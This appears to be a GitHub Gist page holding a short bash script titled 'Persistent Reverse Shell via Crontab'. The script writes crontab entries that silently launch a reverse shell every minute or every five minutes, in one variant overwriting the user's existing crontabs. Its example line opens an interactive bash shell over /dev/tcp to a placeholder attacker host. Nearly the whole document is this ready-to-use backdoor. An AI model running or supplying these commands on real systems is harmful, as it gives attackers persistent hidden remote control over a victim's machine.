Skip to content

Instantly share code, notes, and snippets.

@hoefler02
Last active December 24, 2023 02:44
Show Gist options
  • Save hoefler02/2ca8166c167f147c8fb076b48eb7cb47 to your computer and use it in GitHub Desktop.
Save hoefler02/2ca8166c167f147c8fb076b48eb7cb47 to your computer and use it in GitHub Desktop.
Persistent Reverse Shell via Crontab
#!/bin/bash
# persistent reverse shell backdoor via crontab
# overwrites existing crontabs
(touch .tab ; echo "* * * * * reverse-shell-of-choice" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1
# keeps existing crontabs
(crontab -l > .tab ; echo "* * * * * reverse-shell-of-choice" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1
# example sending bash reverse shell every 5 min
(touch .tab ; echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/attacker/port 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment